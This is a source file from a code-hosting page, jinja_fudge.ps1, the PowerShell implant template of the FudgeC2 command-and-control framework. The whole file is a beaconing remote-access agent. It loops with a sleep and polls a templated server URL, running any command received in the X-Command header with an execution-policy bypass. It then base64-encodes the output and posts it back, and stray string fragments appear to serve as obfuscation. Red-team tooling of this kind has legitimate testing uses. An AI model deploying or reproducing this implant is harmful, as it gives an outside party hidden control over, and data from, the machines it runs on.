Codebase list fudgec2 / 9efa3053-3ebd-43b9-ba52-25607284fb4a/upstream Implant / implant_core / jinja_fudge.ps1
9efa3053-3ebd-43b9-ba52-25607284fb4a/upstream

Tree @9efa3053-3ebd-43b9-ba52-25607284fb4a/upstream (Download .tar.gz)

jinja_fudge.ps1 @9efa3053-3ebd-43b9-ba52-25607284fb4a/upstreamraw · history · blame

 $Body = @{
    User = 'jdoe'
    password = 'P@S$w0rd!'
}
$sleep=9

function RemotePlayAudio {
    $args[0]
    }

function JfaSlt () {}

# Core

while($true){
    start-sleep($sleep)
    # write-output "Callback time: $sleep"
    $headers = @{}
    $headers.Add("X-Implant","{{ uii }}")
    try {
        $LoginResponse = Invoke-WebRequest 'http://{{url}}:{{port}}/index' -Headers $headers -Body $Body -Method 'POST'
        }
    catch {
        $_.Exception | format-list -Force
    }
    $headers = $LoginResponse.Headers["X-Command"]
    # write-output $headers
    if ( $headers -NotLike "=="){
        if ( $headers -Like "::")
            {
            $SplitHeaders = $heades.Split("::")
            Write-Output $SplitHeaders[2]
            }
        else {
        Write-Output "$headers"
        $tr = powershell.exe -exec bypass -C "$headers"
        $gtr="{{uii}}::"+$tr
        $headers = @{}
        $b64tr = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($gtr))
        $headers.Add("X-Result",$b64tr)
        Write-Output $b64tr


        $LoginResponse = Invoke-WebRequest 'http://{{ url }}:{{ port }}/help' -Headers $headers -Body $Body -Method 'POST'
        }
    }

}

$a="ht"
#Andfunc2()
$i="://"
#randomfun()
$hi="tp"